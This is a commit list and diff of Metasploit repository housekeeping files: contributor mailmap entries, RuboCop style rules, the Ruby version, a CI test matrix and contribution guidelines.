| 65fcdcfd2f | |||
| 43f1f8eeb2 | |||
| f49f37f76d | |||
| 4885117e46 | |||
| 39e13258c7 | |||
| 133291e85b | |||
| 0bad10de4e | |||
| 580f4cf509 | |||
| 0bc84bb6c6 | |||
| 2cb4b97164 | |||
| e6d9f39204 | |||
| 4b59552f8a | |||
| 7e180a390c | |||
| ea2a9081a6 | |||
| b42545a153 | |||
| 3a67d89711 | |||
| e74ef65aa5 | |||
| 33dc83804d | |||
| 4ec22c0ceb | |||
| 9f488cb150 | |||
| f7f322b26e | |||
| 5171e7edd2 | |||
| 8e5639a081 | |||
| c3469b0c80 | |||
| 10ffd286d9 | |||
| 3f53efe785 | |||
| 5fce9d8222 | |||
| 428623f890 | |||
| 68272c410e | |||
| 3fbd4f8f2f | |||
| 35edb48c48 | |||
| e9b04b9750 | |||
| 7713710591 | |||
| 6a5a19faca | |||
| 28bb518dbd | |||
| e075836ad5 | |||
| fdc24fe453 | |||
| fc4a5b9913 | |||
| b2aa922a29 | |||
| 64201ad782 | |||
| 6919d1a981 | |||
| 9a72d0cbe7 | |||
| 691d8f2c41 | |||
| 0735113db2 | |||
| c362d668ab | |||
| 184670f62c | |||
| fe13b00d84 | |||
| ba3fa4bf91 | |||
| eb6142c2f8 | |||
| 4c87d38a60 | |||
| 88518ec4ae | |||
| d138ddba8d | |||
| 861097d246 | |||
| 36f776d4a6 | |||
| 0b38f6486d | |||
| 06e8cc49f5 | |||
| 942befab73 | |||
| 3ffcc658e6 | |||
| f6a7f19e2b | |||
| dbd03f9914 | |||
| 465dceb182 | |||
| 9db75849a9 | |||
| 58a88194eb | |||
| 4f67361b46 | |||
| 8540f2cd1c | |||
| f18fd4aca1 | |||
| 81ef17aa62 | |||
| b44cccc368 | |||
| 5827fb5174 | |||
| 40ce762481 | |||
| 8586e6fc8f | |||
| d11eaf3d74 | |||
| 45f354e55d | |||
| 3a92908e9b | |||
| d480ee8e20 | |||
| 4284ffe8a4 | |||
| 9dc3e35f23 | |||
| a4f0dc5ea2 | |||
| e915bb0f66 | |||
| e4aa20ac47 | |||
| 5d95172a81 | |||
| 2052584a31 | |||
| 1abbd61cee | |||
| fbd68df409 | |||
| b5981caa0b | |||
| 69830c0ff5 | |||
| b894f9b6e7 | |||
| 59e0d7b8d2 | |||
| 4fedee604d | |||
| 7f3dfccbfe | |||
| c5dce5edd7 | |||
| 144923db3a | |||
| d4054c24bd | |||
| 709630e35c | |||
| fa95c0c2a1 | |||
| 9bed9f0797 | |||
| fd7ea515aa | |||
| 8260351762 | |||
| 9486aadf64 | |||
| 75d305eef0 | |||
| d310659a77 | |||
| 9aeebf35fe | |||
| 33a909939d | |||
| 87b50e57cc | |||
| 13f981f03f | |||
| 165fb9dc79 | |||
| d4dfb98fb9 | |||
| f14597bcb2 | |||
| bf3e9d8771 | |||
| 0a9dca2b5a | |||
| 2b655e4674 | |||
| 21fc8108ac | |||
| 679378d025 | |||
| 7b7f244164 | |||
| cddb0f2b4d | |||
| cc293b54c4 | |||
| 07f2e664e7 | |||
| e6ca28100c | |||
| 5fb3ffed55 | |||
| d723ffc3ee | |||
| 0bcbcab3d8 | |||
| 17c0bc1fa7 | |||
| 5998896b48 | |||
| 95cb9f3654 | |||
| ce48ff4382 | |||
| 95ee536705 | |||
| 94abd923f3 | |||
| 8cd65324c6 | |||
| 3a6401a420 | |||
| fff6d2ebb7 | |||
| 5323b40f60 | |||
| 972e89b2d7 | |||
| e78715b073 | |||
| 8d86ff0065 | |||
| 7e2c1fae2c | |||
| 0a19221af2 | |||
| 7f372d178d | |||
| 08a6fd3b3b | |||
| 60a9e08cdc | |||
| f5e83d7542 | |||
| 43ae360e15 | |||
| e6a9421e35 | |||
| 9423cdb40b | |||
| 27ab8fdd01 | |||
| aa5c114364 | |||
| f6e0f5bd81 | |||
| 1df5b7655f | |||
| 5f469efacf | |||
| 31ce48502c | |||
| 650c5c7a93 | |||
| 40489fd1f1 | |||
| 30f2fe495b | |||
| 2a9399251c | |||
| d2523e03df | |||
| e7ab118aaf | |||
| 87c6befb45 | |||
| 122af6b143 | |||
| c8ff6cb5a4 | |||
| 9e9e129716 | |||
| b4e305862a | |||
| 3f200fa722 | |||
| caa8b673ed | |||
| 4142b49307 | |||
| 0dc0d3c0ba | |||
| 9bfd7a6bdb | |||
| d78f2e7bbd | |||
| 196b302897 | |||
| 0e5e151403 | |||
| e6a7ec3276 | |||
| 8243207223 | |||
| a177e762d1 | |||
| 89e9f60121 | |||
| 984384b59d | |||
| 016ee4d460 | |||
| 1eabf5dd3d | |||
| 81368bef7a | |||
| 7b3169ad0a | |||
| 9b152cec72 | |||
| 9e326d7c88 | |||
| 9f8dd68d0d | |||
| 5aa0078f4b | |||
| d5019be697 | |||
| a51c1209ab | |||
| 597a64b61b | |||
| bacab0507b | |||
| 06d3ab12a1 | |||
| 4a93947b1a | |||
| 6e71f5c5fd | |||
| 9a273a2663 | |||
| 012de0f6b1 | |||
| cbac801b88 | |||
| bbb5ff8ad4 | |||
| f9d27aaa30 | |||
| 06711c6da9 | |||
| 2f50df7fe7 | |||
| 14ff692d12 | |||
| 78c07b86c4 | |||
| 2d69675650 | |||
| 07d754f637 | |||
| 2d21fbe682 | |||
| 72d8f5ba22 | |||
| 3bc5b0bdcb | |||
| afa3b3a83f | |||
| 1de1b04c4f | |||
| a75b37579d | |||
| a260716305 | |||
| bbbd81bf1f | |||
| b2b97db28b | |||
| 80b16ea645 | |||
| 76a47b81bc | |||
| 0aaae09e5c | |||
| 78f546ce81 | |||
| 0901f35f9c | |||
| dcbc871883 | |||
| 75196b4fc6 | |||
| 9785ace675 | |||
| a74b2b5716 | |||
| 935fa6414e | |||
| 38465e69a8 | |||
| 6c669ecdfc | |||
| e0317671fe | |||
| 8739befa70 | |||
| d6cea3523a | |||
| ad33d72e6e | |||
| 635f483b42 | |||
| f4d9788454 | |||
| 37767e9d4c | |||
| 9f2a442d9b | |||
| a14892774f | |||
| 7382928f10 | |||
| c38bca1799 | |||
| 3b8280c33f | |||
| 173171e2c8 | |||
| 0ba4e349a1 | |||
| 009e643ae3 | |||
| 188b02d1f5 | |||
| 3b7d2c8177 | |||
| 92ada42fc5 | |||
| b3ac70f539 | |||
| 1d7ecb6d9e | |||
| 492b6003b5 | |||
| d340ef2632 | |||
| c23cbde8a1 | |||
| ab12eb8c50 | |||
| 2aa7904270 | |||
| 6ea0e734f9 | |||
| efc9c1724f | |||
| 0949bedf67 | |||
| e5db541726 | |||
| 9ea69b1e35 | |||
| 505eff4403 | |||
| a44bcff2d8 | |||
| abfcdc3fa7 | |||
| 6cbd7ba895 | |||
| d2a43d934d | |||
| 01b4b52407 | |||
| 63e096836f | |||
| b958526b6a | |||
| 8bacddb18f | |||
| 0bb0e78599 | |||
| 3c677aa6bf | |||
| 6b9be37741 | |||
| c6d92e3123 | |||
| 5b42a81d3a | |||
| c3ecbb723d | |||
| e43686177a | |||
| 4e34413026 | |||
| a8a0dd3fcb | |||
| 3fae373270 | |||
| d394146339 | |||
| 876df392f1 | |||
| 084e6b1db3 | |||
| 1743730158 | |||
| c9ae351156 | |||
| c5db4c5021 | |||
| fcafc54db1 | |||
| 62c6340d70 | |||
| 06062f0347 | |||
| 69d995f98c | |||
| ded6a50883 | |||
| 8707047f41 | |||
| 914f8ba872 | |||
| 4765ffc05a | |||
| 706b87d085 | |||
| ef4fd1dc75 | |||
| 9d5ab1dedf | |||
| c2bf848ba9 | |||
| 7f62d49b2a | |||
| 1557540b08 | |||
| f4810c1085 | |||
| f956bb9943 | |||
| d98e85f97c | |||
| c3f9ee2ae3 | |||
| d6f23071ca | |||
| 61da48fc5d | |||
| d192be7764 | |||
| 5560b201b0 | |||
| 6b15be18e7 | |||
| 707b358ad6 | |||
| 60376fe3f4 | |||
| 10ed6637ed | |||
| c7d5d1f489 | |||
| 5d9d0b19ee | |||
| 9d076f6842 | |||
| 36ba1468e8 | |||
| 3b87bf5a03 | |||
| 6108d79dcd | |||
| 409ae22a7e | |||
| fdf9ea04a6 | |||
| 5b1577e46d | |||
| 135b7c6b92 | |||
| 17040e9894 | |||
| 71a1ad69dc | |||
| 57411b4ef8 | |||
| b870091380 | |||
| c31a8ab687 | |||
| 72d2b46ac8 | |||
| 26d333357b | |||
| 584a6ca796 | |||
| 106fbf8a17 | |||
| c56e571b18 | |||
| b860985347 | |||
| a94e6559e6 | |||
| 8bf76a71c2 | |||
| 517b32c836 | |||
| 37576d19a1 | |||
| 030eae5f61 | |||
| 2ad3124f85 | |||
| d756db4f9d | |||
| ef7b77ed01 | |||
| dcb514e5ac | |||
| 7d072ccbcd | |||
| 715279311a | |||
| 8af0d9ceaa | |||
| 44ac2e9c58 | |||
| bf43542743 | |||
| 8f4895c8e7 | |||
| c5e231cfbf | |||
| 028d329b4d | |||
| 8c60a73731 | |||
| bcc0a2a94c | |||
| 149f04cc58 | |||
| 4778de053a | |||
| 49bc0024c1 | |||
| fbee660136 | |||
| 64019d3301 | |||
| 4ef90d8d6c | |||
| c1b50f728b | |||
| f6223c0193 | |||
| 9be7bc9b21 | |||
| d3b4f91b4c | |||
| 6909c635bc | |||
| 31bf6d1bd0 | |||
| 2731b91036 | |||
| e57a1fbd43 | |||
| d5edb566f5 | |||
| 00d5fcfd97 | |||
| 0c86296d99 | |||
| d2150c8d15 | |||
| 4841f29190 | |||
| 6060549512 | |||
| b63a018509 | |||
| 4839e8e7c8 | |||
| 80f34c9b2d | |||
| 3fd2862f76 | |||
| 096ca90953 | |||
| 667cc5bcca | |||
| 789034a06c | |||
| b2f112fd2b | |||
| fac7f3d5be | |||
| 95a5ebc1e7 | |||
| 735fbc5c9f | |||
| fc8cafe81a | |||
| bffba1e5e3 | |||
| 3021a3202b | |||
| 0a5e9d922f | |||
| 2af4f56382 | |||
| ac6fede928 | |||
| c7cd9ca395 | |||
| fd029eda62 | |||
| 178afdaed1 | |||
| a189673782 | |||
| 826b986018 | |||
| 4e8fe54c6c | |||
| c1d701f656 | |||
| dc913b60e4 | |||
| 40220b5ab6 | |||
| 72cb9f358e | |||
| eb54ae4ec0 | |||
| 3635a92f5a | |||
| af8736cad6 | |||
| 72efbb9534 | |||
| d614e06bfa | |||
| 59a41f04f7 | |||
| 8c2484d2da | |||
| d2c203bcb9 | |||
| 13c8072bca | |||
| 5dede95e98 | |||
| 2395f839d0 | |||
| a27b2bff3c | |||
| f581942c7f | |||
| b3962c73b0 | |||
| 2d10a9a201 | |||
| 0b719772cb | |||
| d89a8c3eb9 | |||
| f055bccc2a | |||
| 51a685bcc7 | |||
| d2e71cfc8b | |||
| 60e37e1c78 | |||
| 31ed50ac92 | |||
| 004e228a52 | |||
| e8ad3a98e9 | |||
| b9a8f227fb | |||
| 87dcb13413 | |||
| 1045c1fc11 | |||
| c5a73bdea3 | |||
| 7cde510eb6 | |||
| 358954e15c | |||
| 0cee8485d0 | |||
| bdc0b47844 | |||
| aecc1f143f | |||
| f281b45384 | |||
| e485b152e3 | |||
| 1126acb201 | |||
| 37cb2d77e7 | |||
| 6c3168c541 | |||
| 73bcec5d11 | |||
| 090f7c8bd6 | |||
| 72ed11574b | |||
| cd7187023c | |||
| 32bd516e70 | |||
| 656eb1150a | |||
| 55ae1f7bbe | |||
| 4d4538dceb | |||
| cd723ac86e | |||
| b0da7fcd26 | |||
| 0fe2fb9186 | |||
| a7e779d987 | |||
| b696665adc | |||
| 909b787a56 | |||
| 5457cec81c | |||
| 64c0d60fbf | |||
| 49c9b3cf1e | |||
| e82ff28374 | |||
| 1fdc4bdabb | |||
| 6c350be24e | |||
| 016af01fd8 | |||
| ce3d5d77e4 | |||
| ec12d61702 | |||
| 445b72fdcd | |||
| 48c3c7cd62 | |||
| 64746d8325 | |||
| b7fbffa331 | |||
| 4fa68f29d9 | |||
| a9d4a98d80 | |||
| cca76d2217 | |||
| bff02efad4 | |||
| 395320ba97 | |||
| a87ae41d81 | |||
| 0d98135fcb | |||
| c2379308cf | |||
| af0c58c2ae | |||
| b515a582f0 | |||
| 25652c6c17 | |||
| 926ce42a01 | |||
| 2ea9ab2625 | |||
| a4022f7b8f | |||
| 06b702e86b | |||
| 8f2de5cd41 | |||
| a136841794 | |||
| 15f631dcb5 | |||
| d6beb94c59 | |||
| 5ec3da843e | |||
| 294a8e0ada | |||
| bb73d2c07e | |||
| 47682e3f37 | |||
| 5fc1988d63 | |||
| ab610f599b | |||
| 7da3bdd081 | |||
| 10fafb62bb | |||
| 512192d3b0 | |||
| 55c345418d | |||
| b8fc2c0213 | |||
| 23619431aa | |||
| 0916d8402e | |||
| bf6540585f | |||
| 898aa82933 |
@@ -1,48 +1,29 @@
|
||||
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
|
||||
asoto-r7 <asoto-r7@github> <aaron_soto@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> <“bpatterson@rapid7.com”>
|
||||
bpatterson-r7 <bpatterson-r7@github> <Brian_Patterson@rapid7.com>
|
||||
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
|
||||
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
|
||||
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
|
||||
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> <David_Maloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> <DMaloney@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> <Dev_Mohanty@rapid7.com>
|
||||
dwelch-r7 <dwelch-r7@github> <dean_welch@rapid7.com>
|
||||
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
|
||||
egypt <egypt@github> <egypt@metasploit.com> # aka egypt
|
||||
egypt <egypt@github> <james_lee@rapid7.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
|
||||
jhart-r7 <jhart-r7@github> <jon_hart@rapid7.com>
|
||||
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
|
||||
jinq102030 <jinq102030@github> <jqian@rapid7.com>
|
||||
jmartin-r7 <jmartin-r7@github> <Jeffrey_Martin@rapid7.com>
|
||||
kgray-r7 <kgray-r7@github> <kyle_gray@rapid7.com>
|
||||
khayes-r7 <khayes-r7@github> <Kirk_Hayes@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance@aus-mac-1041.aus.rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance@AUS-MAC-1041.local>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez+github@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
|
||||
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
|
||||
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com”>
|
||||
mkienow-r7 <mkienow-r7@github> <matthew_kienow@rapid7.com>
|
||||
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <scott_davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <Scott_Davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
|
||||
space-r7 <space-r7@github> <shelby_pace@rapid7.com>
|
||||
tatanus <tatanus@github> <adam_compton@rapid7.com>
|
||||
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <todb@metasploit.com>
|
||||
@@ -53,7 +34,6 @@ wvu-r7 <wvu-r7@github> <William_Vu@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> <wvu@cs.nmt.edu>
|
||||
wvu-r7 <wvu-r7@github> <wvu@metasploit.com>
|
||||
wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
|
||||
wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
|
||||
|
||||
# Above this line are current Rapid7 employees. Below this paragraph are
|
||||
# volunteers, former employees, and potential Rapid7 employees who, at
|
||||
@@ -62,10 +42,12 @@ wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
|
||||
# periodically. If you're on this list and would like to not be, just
|
||||
# let todb@metasploit.com know.
|
||||
|
||||
asoto-r7 <asoto-r7@github> <aaron_soto@rapid7.com>
|
||||
bannedit <bannedit@github> David Rude <bannedit0@gmail.com>
|
||||
bcoles <bcoles@github> bcoles <bcoles@gmail.com>
|
||||
bcoles <bcoles@github> Brendan Coles <bcoles@gmail.com>
|
||||
bokojan <bokojan@github> parzamendi-r7 <peter_arzamendi@rapid7.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> <bpatterson@rapid7.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> <Brian_Patterson@rapid7.com>
|
||||
brandonprry <brandonprry@github> <bperry@brandons-mbp.attlocal.net>
|
||||
brandonprry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
|
||||
brandonprry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
|
||||
@@ -84,8 +66,13 @@ corelanc0d3r <corelanc0d3r@github> Peter Van Eeckhoutte (corelanc0d3r) <pete
|
||||
crcatala <crcatala@github> Christian Catalan <ccatalan@rapid7.com>
|
||||
darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com>
|
||||
DanielRTeixeira <DanielRTeixeira@github> Daniel Teixeira <danieljcrteixeira@gmail.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> <David_Maloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> <DMaloney@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> <Dev_Mohanty@rapid7.com>
|
||||
efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
|
||||
efraintorres <efraintorres@github> et <>
|
||||
egypt <egypt@github> <egypt@metasploit.com> # aka egypt
|
||||
egypt <egypt@github> <james_lee@rapid7.com>
|
||||
espreto <espreto@github> <robertoespreto@gmail.com>
|
||||
fab <fab@???> fab <> # fab at revhosts.net (Fabrice MOURRON)
|
||||
farias-r7 <farias-r7@github> <fernando_arias@rapid7.com>
|
||||
@@ -111,6 +98,7 @@ jcran <jcran@github> <jcran@rapid7.com>
|
||||
jduck <jduck@github> <github.jdrake@qoop.org>
|
||||
jduck <jduck@github> <jdrake@qoop.org>
|
||||
jgor <jgor@github> jgor <jgor@indiecom.org>
|
||||
jhart-r7 <jhart-r7@github> <jon_hart@rapid7.com>
|
||||
joevennix <joevennix@github> Joe Vennix <joevennix@gmail.com>
|
||||
joevennix <joevennix@github> <Joe_Vennix@rapid7.com>
|
||||
joevennix <joevennix@github> <joev@metasploit.com>
|
||||
@@ -120,9 +108,15 @@ juanvazquez <juanvazquez@github> jvazquez-r7 <juan_vazquez@rapid7.com>
|
||||
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@kernelsmith.com>
|
||||
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@metasploit.com>
|
||||
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
|
||||
kgray-r7 <kgray-r7@github> <kyle_gray@rapid7.com>
|
||||
kost <kost@github> Vlatko Kosturjak <kost@linux.hr>
|
||||
kris <kris@???> kris <>
|
||||
KronicDeth <KronicDeth@github> Luke Imhoff <luke_imhoff@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance@aus-mac-1041.aus.rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance@AUS-MAC-1041.local>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez+github@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <m1k3@s3cur1ty.de>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <michael.messner@integralis.com>
|
||||
@@ -152,12 +146,16 @@ rwhitcroft <rwhitcroft@github> <rwhitcroft@users.noreply.github.com>
|
||||
schierlm <schierlm@github> Michael Schierl <schierlm@gmx.de> # Aka mihi
|
||||
scriptjunkie <scriptjunkie@github> Matt Weeks <scriptjunkie@scriptjunkie.us>
|
||||
scriptjunkie <scriptjunkie@github> scriptjunkie <scriptjunkie@scriptjunkie.us>
|
||||
sdavis-r7 <sdavis-r7@github> <scott_davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <Scott_Davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
|
||||
skape <skape@???> Matt Miller <mmiller@hick.org>
|
||||
spoonm <spoonm@github> Spoon M <spoonm@gmail.com>
|
||||
stufus <stufus@github> Stuart Morgan <stuart.morgan@mwrinfosecurity.com>
|
||||
stufus <stufus@github> Stuart <stufus@users.noreply.github.com>
|
||||
swtornio <swtornio@github> Steve Tornio <swtornio@gmail.com>
|
||||
Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com>
|
||||
tatanus <tatanus@github> <adam_compton@rapid7.com>
|
||||
techpeace <techpeace@github> Matt Buck <Matthew_Buck@rapid7.com>
|
||||
techpeace <techpeace@github> Matt Buck <techpeace@gmail.com>
|
||||
timwr <timwr@github> <timrlw@gmail.com>
|
||||
@@ -165,6 +163,7 @@ TomSellers <TomSellers@github> Tom Sellers <tom@fadedcode.net>
|
||||
trevrosen <trevrosen@github> Trevor Rosen <trevor@catapult-creative.com>
|
||||
trevrosen <trevrosen@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
|
||||
TrustedSec <davek@trustedsec.com> trustedsec <davek@trustedsec.com>
|
||||
wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
|
||||
void-in <void-in@github> void_in <root@localhost.localdomain>
|
||||
void-in <void-in@github> void-in <root@localhost.localdomain>
|
||||
void-in <void-in@github> <void-in@users.noreply.github.com>
|
||||
|
||||
+51
-9
@@ -9,7 +9,7 @@
|
||||
# inherit_from: .rubocop_todo.yml
|
||||
|
||||
AllCops:
|
||||
TargetRubyVersion: 2.2
|
||||
TargetRubyVersion: 2.4
|
||||
|
||||
Metrics/ClassLength:
|
||||
Description: 'Most Metasploit modules are quite large. This is ok.'
|
||||
@@ -45,6 +45,10 @@ Style/RedundantReturn:
|
||||
Description: 'This often looks weird when mixed with actual returns, and hurts nothing'
|
||||
Enabled: false
|
||||
|
||||
Naming/VariableNumber:
|
||||
Description: 'To make it easier to use reference code, disable this cop'
|
||||
Enabled: false
|
||||
|
||||
Style/NumericPredicate:
|
||||
Description: 'This adds no efficiency nor space saving'
|
||||
Enabled: false
|
||||
@@ -55,14 +59,18 @@ Style/Documentation:
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
||||
|
||||
Layout/IndentHeredoc:
|
||||
Layout/SpaceInsideArrayLiteralBrackets:
|
||||
Enabled: false
|
||||
Description: 'We need to leave this disabled for Ruby 2.2 compat, remove in 2018'
|
||||
Description: 'Almost all module metadata have space in brackets'
|
||||
|
||||
Style/GuardClause:
|
||||
Enabled: false
|
||||
Description: 'This often introduces bugs in tested code'
|
||||
|
||||
Style/EmptyLiteral:
|
||||
Enabled: false
|
||||
Description: 'This looks awkward when you mix empty and non-empty literals'
|
||||
|
||||
Style/NegatedIf:
|
||||
Enabled: false
|
||||
Description: 'This often introduces bugs in tested code'
|
||||
@@ -72,9 +80,16 @@ Style/ConditionalAssignment:
|
||||
Description: 'This is confusing for folks coming from other languages'
|
||||
|
||||
Style/Encoding:
|
||||
Enabled: true
|
||||
Description: 'We prefer binary to UTF-8.'
|
||||
EnforcedStyle: 'when_needed'
|
||||
Enabled: false
|
||||
|
||||
Style/ParenthesesAroundCondition:
|
||||
Enabled: false
|
||||
Description: 'This is used in too many places to discount, especially in ported code. Has little effect'
|
||||
|
||||
Style/TrailingCommaInArrayLiteral:
|
||||
Enabled: false
|
||||
Description: 'This is often a useful pattern, and is actually required by other languages. It does not hurt.'
|
||||
|
||||
Metrics/LineLength:
|
||||
Description: >-
|
||||
@@ -83,6 +98,13 @@ Metrics/LineLength:
|
||||
Enabled: true
|
||||
Max: 180
|
||||
|
||||
Metrics/BlockLength:
|
||||
Enabled: true
|
||||
Description: >-
|
||||
While the style guide suggests 10 lines, exploit definitions
|
||||
often exceed 200 lines.
|
||||
Max: 300
|
||||
|
||||
Metrics/MethodLength:
|
||||
Enabled: true
|
||||
Description: >-
|
||||
@@ -90,10 +112,10 @@ Metrics/MethodLength:
|
||||
often exceed 200 lines.
|
||||
Max: 300
|
||||
|
||||
# Basically everything in metasploit needs binary encoding, not UTF-8.
|
||||
# Disable this here and enforce it through msftidy
|
||||
Style/Encoding:
|
||||
Enabled: false
|
||||
Naming/UncommunicativeMethodParamName:
|
||||
Enabled: true
|
||||
Description: 'Whoever made this requirement never looked at crypto methods, IV'
|
||||
MinNameLength: 2
|
||||
|
||||
# %q() is super useful for long strings split over multiple lines and
|
||||
# is very common in module constructors for things like descriptions
|
||||
@@ -104,11 +126,31 @@ Style/NumericLiterals:
|
||||
Enabled: false
|
||||
Description: 'This often hurts readability for exploit-ish code.'
|
||||
|
||||
Layout/AlignHash:
|
||||
Enabled: false
|
||||
Description: 'aligning info hashes to match these rules is almost impossible to get right'
|
||||
|
||||
Layout/EmptyLines:
|
||||
Enabled: false
|
||||
Description: 'these are used to increase readability'
|
||||
|
||||
Layout/EmptyLinesAroundClassBody:
|
||||
Enabled: false
|
||||
Description: 'these are used to increase readability'
|
||||
|
||||
Layout/EmptyLinesAroundMethodBody:
|
||||
Enabled: false
|
||||
Description: 'these are used to increase readability'
|
||||
|
||||
Layout/AlignParameters:
|
||||
Enabled: true
|
||||
EnforcedStyle: 'with_fixed_indentation'
|
||||
Description: 'initialize method of every module has fixed indentation for Name, Description, etc'
|
||||
|
||||
Style/For:
|
||||
Enabled: false
|
||||
Description: 'if a module is written with a for loop, it cannot always be logically replaced with each'
|
||||
|
||||
Style/StringLiterals:
|
||||
Enabled: false
|
||||
Description: 'Single vs double quote fights are largely unproductive.'
|
||||
|
||||
+1
-1
@@ -1 +1 @@
|
||||
2.5.3
|
||||
2.6.2
|
||||
|
||||
+2
-10
@@ -11,23 +11,15 @@ addons:
|
||||
- graphviz
|
||||
language: ruby
|
||||
rvm:
|
||||
- '2.3.8'
|
||||
- '2.4.5'
|
||||
- '2.5.3'
|
||||
- '2.5.5'
|
||||
- '2.6.2'
|
||||
|
||||
env:
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"'
|
||||
# Used for testing the remote data service
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" REMOTE_DB=1'
|
||||
|
||||
matrix:
|
||||
fast_finish: true
|
||||
exclude:
|
||||
- rvm: '2.3.8'
|
||||
env: CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" REMOTE_DB=1'
|
||||
- rvm: '2.4.5'
|
||||
env: CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" REMOTE_DB=1'
|
||||
|
||||
jobs:
|
||||
# build docker image
|
||||
|
||||
+7
-4
@@ -20,12 +20,15 @@ it into Metasploit's master branch. If you do not care to follow these rules, y
|
||||
* **Do** stick to the [Ruby style guide] and use [Rubocop] to find common style issues.
|
||||
* **Do** follow the [50/72 rule] for Git commit messages.
|
||||
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
|
||||
* **Do** create a [topic branch] to work on instead of working directly on `master` to preserve the
|
||||
history of your pull request. See [PR#8000] for an example of losing commit history as soon as
|
||||
you update your own master branch.
|
||||
* **Do** create a [topic branch] to work on instead of working directly on `master`.
|
||||
This helps protect the process, ensures users are aware of commits on the branch being considered for merge,
|
||||
allows for a location for more commits to be offered without mingling with other contributor changes,
|
||||
and allows contributors to make progress while a PR is still being reviewed.
|
||||
|
||||
|
||||
### Pull Requests
|
||||
|
||||
* **Do** write "WIP" on your PR and/or open a [draft PR] if submitting **working** yet unfinished code.
|
||||
* **Do** target your pull request to the **master branch**.
|
||||
* **Do** specify a descriptive title to make searching for your pull request easier.
|
||||
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
|
||||
@@ -84,7 +87,7 @@ curve, so keep it up!
|
||||
[Rubocop]:https://rubygems.org/search?query=rubocop
|
||||
[50/72 rule]:http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html
|
||||
